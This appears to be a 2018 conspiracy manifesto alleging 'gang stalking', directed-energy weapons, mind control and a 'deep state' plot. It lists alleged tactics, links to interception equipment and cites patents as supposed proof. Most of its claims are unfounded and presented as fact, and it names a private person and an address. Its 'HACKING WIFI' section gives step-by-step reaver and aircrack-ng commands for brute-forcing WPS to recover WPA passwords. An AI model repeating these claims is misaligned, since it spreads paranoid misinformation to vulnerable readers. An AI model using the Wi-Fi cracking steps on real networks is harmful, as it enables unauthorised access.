



2018.0718.1100 - BIG SISTER UPDATE WIP (WORK IN PROGRESS) - #PEDOGATE #PIZZAGATE #OPIUMGATE
#WARONDRUGS #WARONTERROR - DEEPSTATE / OPIUM INDUSTRY / OXFORD & HARVARD UNIVERSITIES WESTERN
MEDICINE (FRAUD) – FUNDAMENTAL EXTREMIST HATE GROUPS / HUMAN TRAFFICKERS / MODERN-MENTAL SLAVERY -
MEDICAL/CRIMINAL JUSTICE FRAUD - MALWARE, TECHNIQUES and ANCIENT HIDDEN PATENTED TECHNOLOGIES USED:
FOR SPYING, ENSLAVEMENT, GENOCIDE, TORTURE AND STALKING with UBIQUITOS QUANTUM COMPUTING
ALGORITHMS by INTERNAL “DEEPSTATE” “SHADOW GOVERNMENT” SERIAL PAPAL BLOODLINE FAMILY TERRORISTS
HEDGE FUND COMPANIES - TORTIOUS INTERFERENCE WITH CONTRACT OR BUSINESS EXPECTANCY: TO CONTROL PUBLIC
POLICY, OPPRESS, CREATE DEBT SLAVES, PLAN BREEDING, PREVENT FINANCIAL & MENTAL INDEPENDENCE & CAUSE
FINANCIAL DEFAULT, DESTITUTION, SOCIAL LEPRACY, & MEDICAL INJURY & BILLINGS, AND DEATH.

AUTOMATED PROBLEMS FROM UBIQUITOUS QUANTUM COMPUTING PROGRAMMED FOR ALL OPPRESSED & BENEFITS PROGRAM RECIPIENTS:

A) PHONE NUMBER/CONTACT INFORMATION SHARING AND DISTRIBUTION TO:

1. **TELEMARKETERS** such as: IDIALU, 700 Life, Lending Tree, Road Loan, One Main, Lexington Law, Rent to Own Homes, Rentalhistorypros.com who are selling products and services the subject cannot afford and will never qualify for to achieve and combination of the following results:
 - a) Track GPS location and root bios through “Backdoor” into mobile device for surveillance (collecting biometric & motion sensor data selling to labs) and surface harassment (“gangstalking”, “organized stalking”, “zersetzung”, “civilian harassment” and “organized hate crimes”);
 - b) Collect current contact information, family connections & social network; (to aid in isolating & polarizing target & blocking calls, voicemail, texts, web form entries, & emails using action scripts & malware).
 - c) Waste phone minutes, erase phone credits, and steal resources;
 - d) Waste victims time (which needs to be used otherwise seeking: food, and shelter, legal assistance, or other valid precious resources).
 - e) Covertly: mock, harass, debase, and create false hopes – results of body sensors, all systemic metadata on phones, and social media accounts are collected via mobile devices by “researchers” conducting unethical and cruel “medical” testing through labs to create hospitalizations and fraud billings to insurances & sold as commodities;
 - f) Nonstop Organized Telephone Scams against vulnerable adults to steal SSA benefits police will not investigate.
 - g) Stalk human /sex trafficking victims, and targets & defectors of religious extremist fundamentalist hate groups as customers or dialing/sales agents (unpaid labor cybernetic games).

B) **VOICEMAIL INTERFERENCE** especially communications from family, friends, legal assistance, government offices, are: digitally garbled, erased, partially erased/altered/tampered with.

C) **VOIP/IMSI DIALER INTERFERENCE** beeping/tone interruptions while dialing phone numbers, or entering credit card numbers (to prevent entries ,and calls, and cause mental duress, confusion, fear, and inconveniences to people without resources).

D) **TROUBLES WITH ATM’S/NLS VOIP/ POS SYSTEMS** seizing cards, showing incorrect balances, remote thefts (SSA will not investigate but has victims spend resources to fax information that gets thrown out & operators state they didn't receive), POS systems/card errors in patterns of 2 attempts works on third try or not at all (gas pumps); unit throws repeated error though PIN is correct then takes card or locks accounts.

E) **CARRIER / POSTAL THEFT** USPS letters and communications for reviews and needed proofs of eligibility documents and EBT debit cards commonly and customarily:

1. Intentionally delayed; unsent or removed and placed back into mail systems to cause:
 - a) Revolt
 - b) Benefits interruptions;
 - c) Additional expenses to people without resources for:
 - I. Printing;

- II. Photocopying;
- III. Travel;
- IV. Lost wage;
- V. Loss of employment;
- VI. Child care fees;
- VII. Loss of housing;
- VIII. Food insecurity;
- IX. Toxic Stress / Illness
- X. Mental Duress:
 - (a) Fear;
 - (b) Anger;
 - (c) Frustration;
 - (d) Confusion;
 - (e) Feelings of desperation which could lead to: crime, violence, suicidal thoughts or actions.

GANG STALKING TACTICS well synchronized & orchestrated events using temporally dead mentally disordered subjects who have been “droned”, entrapped, or threatened (into participation), and are often on SERIAL RUSSELL FAMILY systemic prescription medications obtained by forced prescription through fraud or provided to street dealers by addicted medical class drug dealing conspirators with no record of substance abuse showing on their medical records (SEE RECENT WAUKESHA, WISCONSIN CONVICTIONS). * **EMERGENCY MANDATORY MONDAY & FRIDAY DRUG TESTING OF SYSTEM WORKERS (WITH OVERSIGHT COMMITTEE PANELS ON ALL PRESCRIPTIONS OF SYNTHETIC MEDICATIONS) MUST BE PASSED IMMEDIATELY!! CONTACT YOUR CONGRESSIONAL REPRESENTATIVES TO GET THIS BILL WRITTEN IMMEDIATELY!**

1. **FALSE PROFILING:** this is normally the start of Gang stalking/Gaslighting.
2. **BAITING:** Lure a target into environments, situations, get emotional response.
3. **FALSE NARRATIVES, CHARACTER ASSASSINATION, DEFAMATION, PUBLIC HUMILIATION USING GOSSIPS & THE MEDIA:** Accusations, Lies, Rumors, Bogus investigations, Setups, Framing to Misprision Felony, False cover stories, Bogus evidence/investigations to illegally obtain **FISA WARRANT FOR 247365 MONITORING WHILE MURDERING VICTIM.**
4. **CYBERSTALKING:** attacks through internet, multiple perpetrators, bots, botnets, zombie systems chatterbox profiles through CIA programs.
5. **CYBERSQUATTING:** Online Identity Fraud (impersonations).
6. **CYBERSWATTING:**
7. **DIRECTED ENERGY WEAPONS (DEWS) (NON KINETIC WEAPONS) ATTACKS** Voice to Skull(V2K), Remote Neural Monitoring, Energy Focusing System, Engine Disabling, Electronics Failure - Electronic radiation like microwave, electromagnetic, Dazzlers (Phasers, Lasers etc.)
8. **ILLEGAL COVERT POISONING, INFECTIONS & DRUGGING (LETHAL & NONLETHAL ILLNESS/FATIGUE INDUCING):** substance and delivery (ingested, absorb, breathed) depend on what they want to do or achieve using: bio-toxins, common household toxins, food additives (glycerin, sodium phenethol, etc.), non-classified herbs (not on toxicology panels with intent such as: Deltora, Belladonna, Etc), tertiary gasses, and controlled substances put in prepared

foods, or served with intent to make victim toxic, sedated or disorientated (commonly added to as a free meals at jails, hospitals, churches, food pantry giveaways & traffickers pretending to “help” a defecting victim in trauma).

9. **ELECTRONIC HARASSMENT:** Audio and Video bugging, Phone tapping, Call re-direction, Computer hacking or monitoring, Malware/Spyware Infections, Action-scripting IF ELSE THEN into Artificial Intelligence, Auto tracking, sometimes families devices too, etc.
10. **EMOTIONAL TERROR / HYPER-SENSITIZING:** From all tactics listed
11. **EXPERIMENTATION:** Document reactions, find best break down method, etc.
12. **GAS-LIGHTING:** Psychstrat Machiavellian Power Harassing, trying to fool victim into not trusting their own instincts and memories to convince them they are mentally ill & not credible.
13. **HUMILIATION:** Character Assassination when victim seeks legal assistance with abuse & terrorism or advocates speaking out to get help, serial family mocking, ignoring, lying to convince support network and public that the victim is perceived as mentally ill.
14. **ILLUSIONS (HALLOGRAMS):** Hyper-sensitizing can make thing seem larger than they are, misdirecting, V2K, etc.
15. **IMPLANT THOUGHTS:** Voice to Skull(v2K), perpetrator saying thing directly to TI(like- FBI fling planes over to watch you, family in on it, any number of things to help program or sensitize TI)
16. **SOCIAL INFILTRATION AND INFLUENCE:** All aspects of the target's life in continuous attempt to force acculturation and assimilation to one cults beliefs and then the next with no defense from law enforcement as insiders from each cult are thusly are repeatedly assigned to be “gatekeepers” managing any incoming complaints , libeling, mocking, torturing & harassing the victims . Providing disinformation, sending victims on wild goose chases using them as informants, sending criminals and drug addicts around them.
17. **INTIMIDATION:** Overt or covert threats, from tactics
18. **PROPERTY DAMAGE: LARCENY, HOME/VEHICLE INVASION & VANDALISM/SABOTAGE:** Planned incidents victim will contact law enforcement to record, and MANY wrongful conversion of properties through Thefts by Deception are ignored by law enforcement and usually planned by responding officer who lies and claims the matter is a “Civil Matter” which is very common part of the planned Sabotage
19. **MISDIRECTION:** wrong info to victim, point victim to wrong people behind targeting, say people involved that are not. etc.
20. **HARDWARE / MICROCHIP IMPLANTS:** Without citizens consent, tracking, torture, monitor.
21. **MIMICRY:** Strangers mocking by repeating victims statements or actions so they see or hear.
22. **MOBBING:** Public spaces, Courthouses, Stores, Restaurants etc..
23. **STREET THEATER:** Scripted specific to victim & performed live by knowing & unknowing subjects.
24. **NOISE CAMPAIGN:** Horns, Sirens, Beeping of POS systems to produce stress.
25. **INDOCTRINATE / PROGRAM:** expose victim to stimulus over and over to get them to react in with desired thoughts or actions.
26. **HYPER-SENSITIZING:** Expose victims to continual repeated stimulus for response & reporting, or other actions to notify others.
27. **SLEEP DEPRIVATION:** constant tactics mental, V2K & DEW assault of RNM Labs conducting covert “Sleep Deprivation Studies”.
28. **STREET THEATER:** acts preformed for only TI to notice

29. **SURVEILLANCE:** 24hours/7days week/365 a year.

30. VEHICULAR TERRORISM:

a) **BRIGHTING:** Turing on hi beams and not turning them off.

31. **TRAFFIC MOBBING:** Auto's, motorcycles, bikes, pedestrians while traveling.

CURRENT LEGISLATION:

H.R. 4227: Vehicular Terrorism Prevention Act of 2017; Sponsor: Rep. Robert Latta (R) OH 5th; Introduced: Nov 2, 2017 ; Status: Passed House Mar 22, 2018 goes to the Senate next for consideration.

S. 2077: Vehicular Terrorism Prevention Act of 2017; Sponsor: Sen. Bill Cassidy (R) LA; Introduced: Nov 6, 2017 ; Status:;; (<https://www.govtrack.us/congress/bills/115/s2077/summary>;
<https://www.govtrack.us/congress/bills/115/s2077/text/is>);

32. **UNETHICAL MEDICAL TESTING GANGSTALKING TACTICS ILLEGAL USE OF TAX DOLLARS to DISGUISE & CAUSE PROPAGANDA & CHAOS:** MLM PYRAMID FRAUD, TREASON, RICO, HUMAN TRAFFICKERS, DEW ASSAULT/BATTERY, STALKING, SPYING & MODERN MENTAL SLAVERY/ UNPAID LABOR / DRUGGING FOR SEX/CONTROL/ACCULTERATION OF FUNDAMENTAL EXTREMIST HATE GROUPS mental and physical attacks contracted through Community Policing Programs, DOD Contracts granted by SERIAL FAMILY DEEPSTATE conspirators & Funded by Vendor contracts and Grants under “Medical Testing”, “Medical Research” & “Security”.

GSM, IMSI, IP / GPS: SPYING, SCRAPING and STALKING:

1. 3G UMTS IMSI CATCHER

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/3g-umts-imsi-catcher/>)

2. ACTIVE GSM MONITORING SYSTEM

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/active-gsm-monitoring-system/>)

3. ACTIVE GSM MONITORING SYSTEM WITH IMSI CATCHER AND DECRYPTION UNIT

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/active-gsm-monitoring-system-with-imsi-catcher-and-decryption-unit/>)

4. CDMA MONITORING SYSTEM

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/cdma-monitoring-system/>)

5. CONVERSATION RECORDER

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/conversation-recorder/>)

6. DIGITAL TELEPHONE CONVERSATION RECORDER

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/digital-telephone-conversation-recorder/>)

7. DIGITAL TELEPHONE MONITORING SYSTEM

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/digital-telephone-monitoring-system/>)

8. GSM Direction Finder

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/gsm-direction-finder/>)

9. GSM DIRECTION FINDER FOR MOBILE VEHICLES

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/gsm-direction-finder-for-mobile-vehicles/>)

10. GSM IMSI CATCHER

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/gsm-imsi-catcher/>)

11. GSM REPEATER

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/gsm-repeater/>)

12. HARD DISC CONVERTER

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/hard-disc-converter/>)

13. HIGH POWER 3G AND GSM JAMMER

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/high-power-3g-and-gsm-jammer/>)

14. HIGH POWER JAMMER

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/high-power-jammer/>)

15. IP MONITORING SYSTEM

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/ip-monitoring-system/>)

16. PASSIVE GSM MONITORING SYSTEM FOR A5.1, A 5.2 (A5.0) ENCRYPTION

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/passive-gsm-monitoring-system-for-a5-1-a-5-2-a5-0-encryption/>)

17. PC-SUPPORTED TELEPHONE MONITORING SYSTEM

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/pc-supported-telephone-monitoring-system/>)

18. SEPARATE GSM NETWORK

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/separate-gsm-network/>)

19. TACTICAL INMARSAT SATELLITE MONITORING SYSTEM

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/tactical-inmarsat-satellite-monitoring-system/>)

20. TELEPHONE TAPPING DEVICE

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/telephone-tapping-device/>)

21. THURAYA MONITORING SYSTEM

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/thuraya-monitoring-system/>)

22. TRANSMISSION POWER AMPLIFIER (1670)

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/transmission-power-amplifier-1670/>)

23. TRANSMISSION POWER AMPLIFIER (1675)

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/transmission-power-amplifier-1675/>)

24. WIRELESS NETWORK MONITOR, DECRYPTER AND VIEWER VIA WLAN OR BLUETOOTH

(<http://www.pki-electronic.com/products/interception-and-monitoring-systems/wireless-network-monitor-decrypter-and-viewer-via-wlan-or-bluetooth/>)

25. EDR BLACK BOX POLICE CARS TRACKING STALKING TARGETED CIVILIANS WITH INTENT

(<https://www.bing.com/search?q=EDR%20BLACK%20BOX%20POLICE%20CARS&q&form=QBRE&sp=-1&pg=edr%20black%20box%20police&sc=0-20&sk=&cvid=6113443FA0FD41B582B8E428A77186BC>)

26. EDR BLACK BOX POLICE CAR DASH CAMS

(<https://www.bing.com/search?q=EDR%20BLACK%20BOX%20POLICE%20CAR%20DASH%20CAMS&q&form=QBRE&sp=-1&pg=edr%20black%20box%20police%20car%20&sc=0-25&sk=&cvid=4A3E494AE0B746B89FB1C429FCF5COAC>)

27. FUSION CENTER LOCATIONS AND CONTACT INFORMATION – METADATA COLLECTION CENTERS

(<https://www.dhs.gov/fusion-center-locations-and-contact-information>)

MALWARE, TECHNIQUES and ANCIENT HIDDEN TECHNOLOGIES USED: FOR SPYING, ENSLAVEMENT, GENOCIDE, TORTURE AND STALKING with UBIQUITOUS QUANTUM COMPUTING ALGORITHMS by INTERNAL “DEEPSTATE” “SHADOW GOVERNMENT” SERIAL PAPAL BLOODLINE FAMILY TERRORISTS

ANPR – AUTOMATED NUMBER PLATE RECOGNITION

CCTV – CLOSED CIRCUIT TELEVISION - SURVEILLANCE BY ANYONE WITH ACCESS

PRISM –

UPSTREAM –

SOFIA –

CERN –

QWEN TOWERS –

DOPLAR RADAR –

S.A.T.A.N.–

RADIO –

1. ULF;
2. ELF;
3. VLF.

TELEVISION –

1. ALPHAWAVE;
2. BETA WAVE.

PBX VOIP / IMSI –

1. PBX PHONE SYSTEM
2. HOSTED VIRTUAL PBX
3. IP PBX PHONE SYSTEM

4. HOSTED VIRTUAL IP PBX PHONE SYSTEM

AUTODIALERS –

1. MODEM
2. TELEPHONY BOARD
3. SMART
4. SEMI
5. TELEMARKETING
6. NATURAL PREDICTIVE

SPY CELL PHONES –

1. RECORD CALLS
2. TRACK TEXT MESSAGES
3. ALERT 3RD PARTY OF OUTGOING CALLS IN REAL-TIME
4. TRACK LOCATION VIA GPS.
5. THEN THE TRACKER CAN ENTER VICTIMS PHONE NUMBER INTO CERTAIN SITES THE TRACK LOCATION ON GOOGLMAPS PAGE.
6. RECORD AUDIO IN A ROOM ON DORMANT PHONE AND SEND IT TO ANY COMPUTER.

QUANTUM COVERT CHANNEL RADIO –

NSA HAS PLANTED SOFTWARE WHICH ENABLES ENTRY & ALTERATION OF DATA ON ANY DEVICE THAT IS NOT CONNECTED TO THE INTERNET. THIS TECHNOLOGY HAS AN 8 MILE BROADCAST BAND.

KEY LOGGERS –

1. THROUGH ACCELEROMETER ON PHONE TRANSLATES BY PROGRAM INTO READABLE SENTENCES.
2. BY SNIFFING KEYSTROKES W/LASERS AND VOLTOMETERS TAPPED INTO ELECTRICAL SOCKETS NEAR COMPUTER OR DRAWING A BEAD ON THE DEVICE W A LASER, INTERLOPERS CAN STEAL WHATEVER IS ENTERED.

MOTION SPYING –

HACKERS TRACK SMARTPHONES BY BREAKING INTO SMARTPHONE MOTION/BODY SENSORS.

BIT WHISPERS –

AN AIR-GAPPED COMPUTER VIA HEAT EXCHANGE BY DETECTING THE HEAT FROM A COMPUTER TO ADJACENT COMPUTER, IT IS POSSIBLE TO ESTABLISH A CHANNEL THAT CAN FACILITATE THE SPREAD OF KEYS, MALISCIIOUS CODE, AND ANY KIND OF DATA DELIVERING C&C MESSAGES LEAKING SHORT CHUNKS OF DATA SUCH AS PASSWORDS.

HACKING THROUGH STEEL WALLS VIA ULTRASOUND POWERED WIRELESSLY

THIS SIMULTANEOUSLY TRANSFERS LARGE QUANTITIES OF DATA & POWER WIRELESSLY (LIKE THROUGH THE HULLS OF SHIPS, AND SUBMARINES).

MOBILE SPY MONITORING SOFTWARE FOR CELL PHONES –

1. DT IGNITE– INSTALLED BY CARRIERS;
2. FACEBOOK AND TWITTER MESSENGING SERVICES;

3. INSTAGRAM;
4. SNAP CHAT;
5. WHATSAP;
6. YOUTUBE VIDEOS WATCHED;
7. APPS INSTALLED;
8. BLACKBERRY PIN MESSAGES;
9. BB;
10. YAHOO;
11. WINDOWS LIVE;
12. AOL;
13. GTALK MESSENGER SVC.;
14. SMS TEXT MESSAGES SENT AND RECEIVED;
- 15. GPS LOCATION.**

HACKING WIFI – ONGOING SINCE MENOMONEE FALLS ADDRESS AND THROUGH MEDIACOM at 401 SE 10TH STREET GRAND RAPIDS MN 55744

1. UBUNTU/KALI LINUX TERMINAL (**ONE OF MANY METHODS**)

Open the terminal

CTRL+ALT+T

And type

```
apt-get install reaver
```

After installing this

Install dependencies

```
apt-get install libpcap-dev
```

THEN

```
apt-get install libsqlite3-dev
```

Hacking WPA/WPA2 Wireless

Requirements:

Install aircrack-ng by typing

```
apt-get install aircrack-ng
```

We need to have the wireless BSSID (Mac address) so we use airodump-ng

Open a terminal and Type:

```
airmon-ng start wlan0 ZERO NOT O
```

Then type

```
airodump-ng mon0 ZERO NOT O
```

It will list the available wireless passwords, now copy the BSSID of the Access Point (e.g. : 00:11:28:32:49:55)

Starting the attack type

reaver -i mon0 -b 00:11:28:32:49:55

Now it will start testing bruteforcing the PIN number of the vulnerability WPS (which we have spoken about it), and it will show you the WPA/WPA2 Password in the end of the Crack;

2. Get **MANY** others from **ANONYMOUS** videos on (<http://youtube.com>).

SEO MANIPULATIONS & HOMELAND "SECURITY" PROFILING/"BUBBLING" THROUGH GOOGLE WITH DISINFORMATION, SOCIAL MEDIA CENSORING:

1. Terrorize/Stalk/Harass;
2. Isolate;
3. Polarize;
4. Prevent Witnesses/Stability;
5. Tamper with Witnesses/Evidences;
6. Steal Land/Properties;
7. Murder/Genocide/Suicide/Homicide/FALSE FLAG Mass Shootings;
8. Inspire radical beliefs/behaviors;
9. Prevent Income & Self Employment;
10. Voting Fraud;
11. Election Tampering;
12. PUBLIC SYSTEMS MANIPULATIONS & TAMPERING

(Prevent: calm demeanor of victim in public , or court, prevent cause & fair hearing, prevent employment, prevent income, prevent document preparation, prevent forms submissions, prevent court appearances, and evidence collection);

13. False fire alarms;
14. Public Computer Terminal shut down;
15. POS System failures linked to cards used and RFID sensors;
16. Malfunction/Overthrow of cell tower service;
17. Television;
18. Radio,
19. NLS (internet);
20. GPS tracking & mapping manipulations to waste victims' resources, time, cause tardiness and prevent income/sales/meetings/obligations;
21. Cause radioactive officers to be deployed to fabricate tickets & charges/brutalize/murder/ to detain victims illegally with false information and to create libel to continue false criminalization, and hate crime mob attacks/ "gas-lighting" aka "Gangstalking", Organized Gang Stalking, Zersetzung, Civilian Harassment, Community Based "Informant" Stalking & false witnesses/complainants;

MALWARE

1. INFECTIOS MALWARE

2. VIRUSES
3. WORMS
4. CONCEALMENT VIRUSES
5. TROJANS
6. VIRUSES
7. BACKDOORS
8. ROOTKITS
9. EVASION
10. RANSOMWARE – “COMPUTER KILLING”

RESTRICT ACCESS

DEMANDS RANSOM

NO RANSOM

LOCKS COMPUTER

DISPLAYS IMAGES TO EXTORT

ENCRYPT FILES

HIDE FILES

DENY ACCESS

FIRST RANSOMWARE 1989 PC CYBORG TROJAN AIDS INFO DISKS (AIDS). THE PROGRAM REPLACED AUTOEXEC.BAT FILE AND WOULD COUNT BOOTS TO 90. THEN TROJAN WOULD HIDE DIRECTORIES, CHANGE NAMES ON C DRIVE MAKING SYSTEM UNUSABLE DEMANDED USER PAY 189 TO PC CYBORB CORPORATION. THERE HAVE BEEN LORAIN SIGNIFICANT INCREASE SINCE 2005.

RANSOMWARE DELIVERED BY DRIVE-BY DOWNLOAD:

MALICIOUS WEBSITE

CLICKON ADVERTISING LINK

OPENING MALICIOUS ATTACHMENTS

EXPLOITING PROGRAM SECURITY VULNERABILITY SUCH AS BREACH IN BROWSER.

INFECTION METHODS

SMS RANSOMWARE

WINLOCKER

FILE ENCRYPTORS

MBR RANSOMWARE

CRYPTOVIRAL EXTORTION

CRYPTOLOCKER

CRYPTOWALL

11. SHAOXING CHINA IS THE WORLDS MALWARE CAPITAL

DIRECTED ENERGY WEAPONS – NON-KINETIC / NON-LETHAL WEAPONS

(causing disease (such as cancer), pain, slow death, disorientation, parlor tricks).

Dazzler – disorientation or blindness to simulate need for corrective vision devices, delusion, bipolar, psychosis, panic or schizophrenia force unnecessary synthetic medication script for remote control via psychotropic medication.

URINARY INCONTINENCE – SENSATION OF SUDDEN NEED TO URINATE. To embarrass/punish or force unnecessary synthetic medication script/diaper consumer

Control muscles - to embarrass/punish or cause injury or death

Sonic booms to building/persons - disorientation to cause victim to contact conspiring law enforcement officers to report where officers misrepresent simulated delusion, bipolar, psychosis, panic or schizophrenia force unnecessary synthetic medication script for remote control via psychotropic medication.

ELECTRIFICATION- TO EMBARRASS/PUNISH OR CAUSE INJURY OR DEATH OR SYNTHETIC MEDICATION FOR HEART FAILURE, SCHIZOPHRENIA OR NUMEROUS OTHER FABRICATED CONDITIONS TO BILL FEDERAL AUTHORITIES FOR SERVICES CREATED BY FRAUD AND CONTROL OF THE INNOCENT SUBJECT.

FORCED MEMORY BLANKING.

INDUCED ERRONEOUS ACTIONS.

INDUCED CHANGES TO HEARING BOTH APPARENT DIRECTION AND VOLUME OFTEN CONTENT.

SUDDEN VIOLENT ITCHING INSIDE EYELIDS.

FORCED MANIPULATION OF AIRWAYS.

EXTERNALLY CONTROLLED FORCED SPEECH/WRITING.

WILDLY RACING HEART WITHOUT CAUSE.

REMOTELY INDUCED NO RASH ITCHING with preference in hard to reach areas often during delicate or messy work also described as “shocks”.

FORCED NUDGING OF ARM DURING DELICATE OR MESSY WORK CAUSING INJURY OR SPILLS.

GENITAL ITCHING, FORCED ORGASM, INTENSE PAIN OR “HOT NEEDLES”.

BOWEL – FORCED BOWEL EVACUATION. To embarrass/punish or force unnecessary synthetic medication script/diaper consumer.

INTENSE GENERAL PAIN OR HOT NEEDLES SENSATION OF BEING PUSHED INTO THE FLESH AKA “STINGS”.

WILD FLARING PAIN sometimes followed by periods of rigormortis.

UNIQUE FEATURE OF SLEEP PREVENTION typically occurs at precisely the same time night after night for weeks, months or years timed “to the second”(algorithm assigned – Brittani is manipulated this way since birth to cause problems within family & relationships/independence).

READING & BROADCASTING THOUGHTS VIA RNM (REMOTE NEURAL MONITORING).

VIVID DREAMS.

HALOGRAMS.

FORCED WAKING VISIONS – some synced with forced body motion.

HIDDEN TECHNOLOGY PATENTS: UNETHICAL MEDICAL TESTING – DEEPSTATE DEFENSE BUDGET FRAUD – USED TO CREATE: 31-PR-16-3041; 31-VB-17-2850 **HUMAN RESEARCH SUBJECT PROTECTIONS ACT 1997

US PATENT A7212546 -- Binary and Ternary Gas Mixtures with Temperature Enhanced Diffuse Glow Discharge Characteristics for Use in Closing Switches. -- An improvement to the gas mixture used in diffuse glow discharge closing switches is disclosed which includes binary and ternary gas mixtures which are formulated to exhibit decreasing electron attachment with increasing temperature. This increases the efficiency of the conductance of the glow discharge and further inhibits the formation of an arc. 11 figs. -- Dept. of Energy TIC; EDB-89-072794 -- Inventors: Christophorou, L.G.; Hunter, S.R. June 1988. -- Issue Date:1988-06-28; OSTI Identifier: 6176875; Assignee: Dept. of Energy TIC; EDB-89-072794; Application Number: ON: DE89011807; Contract Number: AC05-84OR21400; Resource Relation: Other Information: Portions of this document are illegible in microfiche products; Research Org: Oak Ridge National Lab., TN (USA); Country of Publication: United States; Language: English; Subject: **47 OTHER INSTRUMENTATION; 42 ENGINEERING**; PLASMA SWITCHES; DESIGN; DIRECTED-ENERGY WEAPONS; GLOW DISCHARGES; INVENTIONS; LASERS; MICROWAVE EQUIPMENT; PULSE GENERATORS; PULSE TECHNIQUES; ELECTRIC DISCHARGES; ELECTRICAL EQUIPMENT; ELECTRONIC EQUIPMENT; EQUIPMENT; FUNCTION GENERATORS; SWITCHES; WEAPONS 440300* -- Miscellaneous Instruments-- (-1989); 420800 -- Engineering-- Electronic Circuits & Devices-- (-1989); <http://www.osti.gov/scitech/servlets/purl/6176875>

US PATENT 5212339 -- Explosive Laser Light Initiation of Propellants. -- Piltch, M.S. May 1993. "An improved initiator for artillery shell using an explosively generated laser light to uniformly initiate the propellant. A small quantity of a high explosive, when detonated, creates a high pressure and temperature, causing the surrounding noble gas to fluoresce. This fluorescence is directed into a lasing material, which lases, and directs laser light into a cavity in the propellant, uniformly initiating the propellant. Patent and Trademark Office, Box 9, Washington, DC 20232 (United States); United States; 5/18/1993; English; Patent: US 5212339; A; Special Availability; Patent File Date: 27 Mar 1992; Medium: X; Size: Pages: ([10 p]); OSTI ID: 6252121, Legacy ID: OSTI ID: 6252121; W-7405-ENG-36; Other: PPN: US 7-858457. Patent Assignee: Dept. of Energy, Washington, DC (United States); 12/14/2009; 6252121"45 MILITARY TECHNOLOGY, WEAPONRY, AND NATIONAL DEFENSE; WEAPONS; DESIGN; AMMUNITION; CHEMICAL EXPLOSIVES; DETONATIONS; FLUORESCENCE; LASER RADIATION; MILITARY EQUIPMENT; PROPELLANTS; ELECTROMAGNETIC RADIATION; EQUIPMENT; EXPLOSIVES; LUMINESCENCE; RADIATIONS 450000* -- Military Technology, Weaponry, & National Defense.; <http://www.osti.gov/scitech/servlets/purl/6252121>

US PATENT 5539705 -- Ultrasonic Speech Translator and Communications System -- A wireless communication system undetectable by radio frequency methods for converting audio signals, including human voice, to electronic signals in the ultrasonic frequency range, transmitting the ultrasonic signal by way of acoustical pressure waves across a carrier medium, including gases, liquids, or solids, and reconvertng the ultrasonic acoustical pressure waves back to the original audio signal. The ultrasonic speech translator and communication system (20) includes an ultrasonic transmitting device (100) and an ultrasonic receiving device (200). The ultrasonic transmitting device (100) accepts as input (115) an audio signal such as human voice input from a microphone (114) or tape deck. The ultrasonic transmitting device (100) frequency modulates an ultrasonic carrier signal with the audio signal producing a frequency modulated ultrasonic carrier signal, which is transmitted via acoustical pressure waves across a carrier medium such as gases, liquids or solids. The ultrasonic receiving device (200) converts the frequency modulated ultrasonic acoustical pressure waves to a frequency modulated electronic signal, demodulates the audio signal from the ultrasonic carrier signal, and conditions the demodulated audio signal to reproduce the original audio signal at its output (250).

US PATENT 5889870 A -- Acoustic Heterodyne Device and Method -- The present invention is the emission of new sonic or subsonic compression waves from a region resonant cavity or similar of interference of at least two ultrasonic wave trains. In one embodiment, two ultrasonic emitters are oriented toward the cavity to cause interference between emitted

ultrasonic wave trains. When the difference in frequency between the two ultrasonic wave trains is in the sonic or subsonic frequency range, a new sonic or subsonic wave train of that frequency is emitted from within the cavity or region of interference in accordance with the principles of acoustical heterodyning. The preferred embodiment is a system comprised of a single ultrasonic radiating element oriented toward the cavity emitting multiple waves.

<https://www.osti.gov/doi/patents/biblio/870531> -ultrasonic-speech-translator-communications-system

US PATENT 4,717,343 – METHOD OF CHANGING A PERSON'S BEHAVIOR – A method of conditioning a person's unconscious mind to effect a desired change in the person's behavior which does not require the services of a trained therapist. Instead the person to be treated views a program of video pictures appearing on a screen. The program as viewed by the person's unconscious mind acts to condition the person's thought patterns in a manner which alters that person's behavior in a positive way. SOURCE: Judy Wall, Mike Coyle and Jan Wiesemann. Paranoia Magazine Issue 24 Fall 2000 - Article -'Technology to Your Mind' - By Judy Wall

US PATENT 5,270,800 --SUBLIMINAL MESSAGE GENERATOR --A combined subliminal and supraliminal message generator for use with a television receiver permits complete control of subliminal messages and their manner of presentation. A video synchronization detector enables a video display generator to generate a video message signal corresponding to a received alphanumeric text message in synchronicity with a received television signal. A video mixer selects either the received video signal or the video message signal for output. The messages produced by the video message generator are user selectable via a keyboard input. A message memory stores a plurality of alphanumeric text messages specified by user commands for use as subliminal messages. This message memory preferably includes a read only memory storing predetermined sets of alphanumeric text messages directed to differing topics. The sets of predetermined alphanumeric text messages preferably include several positive affirmations directed to the left brain and an equal number of positive affirmations directed to the right brain that are alternately presented subliminally. The left-brain messages are presented in a linear text mode, while the right brain messages are presented in a three-dimensional perspective mode. The user can control the length and spacing of the subliminal presentations to accommodate differing conscious thresholds. Alternative embodiments include a combined cable television converter and subliminal message generator, a combine television receiver and subliminal message generator and a computer capable of presenting subliminal messages. SOURCE: Judy Wall, Mike Coyle and Jan Wiesemann. Paranoia Magazine Issue 24 Fall 2000 -Article -'Technology to Your Mind' - By Judy Wall

